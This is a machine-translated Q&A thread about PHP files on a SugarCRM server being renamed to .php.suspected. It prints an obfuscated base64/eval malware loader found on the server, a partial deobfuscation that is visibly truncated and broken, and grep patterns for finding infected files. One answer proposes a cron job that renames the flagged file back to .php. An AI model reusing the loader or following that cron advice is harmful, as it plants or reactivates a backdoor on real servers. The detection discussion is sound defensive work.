Подтвердить что ты не робот

Php файл автоматически переименован в php.suspected

За последние 4 дня мы сталкиваемся с проблемой на нашем производственном сервере (экземпляр AWS EC2), относящемся только к одному сайту, который является SugarCRM.

Проблема /home/site_folder/public_html/include/MassUpdate.php автоматически переименовывается в файл /home/site_folder/public_html/include/MassUpdate.php.suspected

Это происходит 2-3 раза в день с 3-4 часами пробела. Эта проблема возникает только в случае конкретного сайта, даже если это не происходит для постановки реплики того же сайта. Я даже проверил код этого файла с обоих сайтов, он тоже.

У нас есть Googled и найденный, такая проблема возникает главным образом для сайтов Wordpress, и это может быть из-за атаки. Но мы проверили наш сервер против атаки, нет. Также на сервере не выполняется проверка вирусов и вредоносных программ.

Что нам делать?

Update: Мы обнаружили несколько вещей после прохождения этого link Мы выполнили egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ И обнаружили, что есть несколько файлов со следующим примером кода.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

Кажется, что-то вредоносное ПО, как мы его постоянно удаляем?

Спасибо

4b9b3361

Ответ 1

Размещая этот ответ, он может помочь другим.

  1. Создайте файл с расширением .sh в удобном для вас месте.
  2. Добавьте следующий код в это.

#Rename your_file_name.php.suspected to your_file_name.php mv/<path_to_your_file>/your_file_name.php.suspected/<path_to_your_file>/your_file_name.php

  1. Сохраните этот файл.
  2. Установите cron на каждые 10 минут (или любой другой интервал, который вам нужен), используя следующую строку в crontab

*/10 * * * * path_to_cron_file.sh

  1. Перезапустите сервис crontab.

Вы получите много документации по созданию cron в Google.

Ответ 2

Это несколько запутано, но я де-зафузировал его. Функция flnftovr принимает строку и массив в качестве аргументов. Он создает новую строку $ggy, используя формулу

isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}

Затем он подготавливает base64_decode к строке.

Строка - $s, массив - $koicev. Затем он вычисляет результат этой манипуляции. Поэтому в итоге создается строка:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)

Итак, что на самом деле запускается на вашем сервере:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER)
encode(serialize($res));
}

Если вы этого не создали, и вы подозреваете, что ваш сайт взломан, я предлагаю вам стереть сервер и создать новую установку любых приложений, запущенных на вашем сервере.

Ответ 3

Переименование файлов .php в .php.suspected продолжает происходить сегодня. Следующие команды не должны придумывать что-то:

find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print

В моем случае зараженные файлы могут быть обнаружены с помощью следующих команд:

cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'

Я подготовил более подробное описание проблемы и как с ней бороться на GitHub.

Ответ 4

Переименование php файлов в php.suspected обычно предназначается и выполняется хакерским скриптом. Они изменяют расширение файла, чтобы создать впечатление, что файл был проверен каким-либо программным обеспечением для защиты от вредоносных программ, является безопасным и не может быть выполнен. Но на самом деле это не так. Они изменяют расширение на "php" в любое время, когда хотят вызвать скрипт, и после этого они изменяют расширение обратно на "подозреваемый". Вы можете прочитать об этом в Securi Research Labs

Возможно этот пост старый, но тема все еще жива. Особенно в соответствии с вредоносной кампанией в июне 2019 года, нацеленной на плагины WordPress. Я нашел несколько "подозреваемых" файлов в моих клиентских подкаталогах WordPress (например, wp-content)